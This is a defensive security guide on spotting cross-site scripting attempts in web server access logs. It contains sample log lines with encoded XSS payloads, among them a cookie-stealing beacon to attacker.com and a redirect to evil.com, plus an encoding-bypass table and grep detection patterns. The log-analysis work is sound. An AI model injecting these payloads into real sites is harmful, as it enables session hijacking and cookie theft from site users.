// Security · XSS
XSS Attacks in Logs
Cross-site scripting payloads appear in URL parameters and, when logged, in POST bodies (with custom log config). Reflected XSS is always visible in the access log. Stored XSS requires checking what was submitted to input-accepting endpoints. Here's how to find both.
XSS Log Examples
Reflected XSS — Visible in URI
# Classic script tag in search parameter 203.0.113.5 - - [10/Apr/2025:09:30:01 +0000] "GET /search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1" 200 4102 # Decoded: /search?q=<script>alert(1)</script> # Event handler injection 203.0.113.5 - - [10/Apr/2025:09:30:45 +0000] "GET /profile?name=%22+onmouseover%3Dalert(document.cookie)+x%3D%22 HTTP/1.1" 200 2891 # Decoded: name=" onmouseover=alert(document.cookie) x=" # javascript: URI — img src injection 203.0.113.5 - - [10/Apr/2025:09:31:00 +0000] "GET /redirect?url=javascript%3Avoid(0)%3Bdocument.location%3D%27https%3A%2F%2Fevil.com%2F%27 HTTP/1.1" 200 344
Session Hijack / Cookie Stealing Payload
# XSS beacon — victim's browser hits attacker server with stolen cookie # You'll see this in YOUR logs if your site reflects XSS and an attacker tests it 203.0.113.5 - - [10/Apr/2025:09:32:00 +0000] "GET /comment?text=%3Cimg+src%3Dx+onerror%3Ddocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3E HTTP/1.1" 200 1200
Automated XSS Scanner (Dalfox, XSStrike)
# Dalfox scanner — high volume of parameter fuzzing from single IP 91.108.4.12 - - [10/Apr/2025:10:00:01 +0000] "GET /page?id=1%27%22%3E%3Csvg%2Fonload%3Dalert(1)%3E HTTP/1.1" 200 3120 "-" "DalFox/2.9.1" 91.108.4.12 - - [10/Apr/2025:10:00:02 +0000] "GET /page?id=%3Cscript+src%3Dhttps%3A%2F%2Fxss.report%2Fc%2Fabc%3E%3C%2Fscript%3E HTTP/1.1" 200 3120 "-" "DalFox/2.9.1"
XSS Encoding Variants
| Encoding | Log appearance | Decoded |
|---|---|---|
| Plain | <script>alert(1)</script> | <script>alert(1)</script> |
| URL encoded | %3Cscript%3Ealert(1)%3C%2Fscript%3E | Same |
| Double encoded | %253Cscript%253E | %3Cscript%3E (bypasses one decode layer) |
| HTML entities | <script> | <script> (browser renders it) |
| SVG vector | %3Csvg/onload%3Dalert(1)%3E | <svg/onload=alert(1)> |
| img onerror | %3Cimg+src%3Dx+onerror%3Dalert(1)%3E | <img src=x onerror=alert(1)> |
| No <> needed | "+onmouseover%3Dalert(1)+x%3D" | Injects into existing HTML attribute |
Detection Commands
bash
LOG=/var/log/nginx/access.log # All XSS signature patterns grep -iE "(%3C|<)(script|svg|img|iframe|body|input|link|meta)(%3E|>)|onerror=|onload=|onmouseover=|javascript:|alert\(|document\.cookie|document\.location|eval\(|String\.fromCharCode" $LOG # Find endpoints being probed (top targets) grep -iE "(%3Cscript|onerror=|alert\()" $LOG | awk '{print $7}' | grep -oE '^[^?]+' | sort | uniq -c | sort -rn # XSS attempts that got 200 (may be reflected) awk '$9=="200"' $LOG | grep -iE "(%3Cscript|onerror=|javascript:|alert\()" # Known XSS scanner UAs grep -iE "dalfox|xsstrike|beef|xsser" $LOG
ℹ Stored XSS
Stored XSS payloads are submitted via POST (comment forms, profile fields, etc.) and not visible in the URI. To catch them, enable Apache's mod_security with OWASP CRS, or enable POST body logging carefully (be cautious — this logs passwords). Alternatively, audit your database directly for <script strings in user-supplied columns.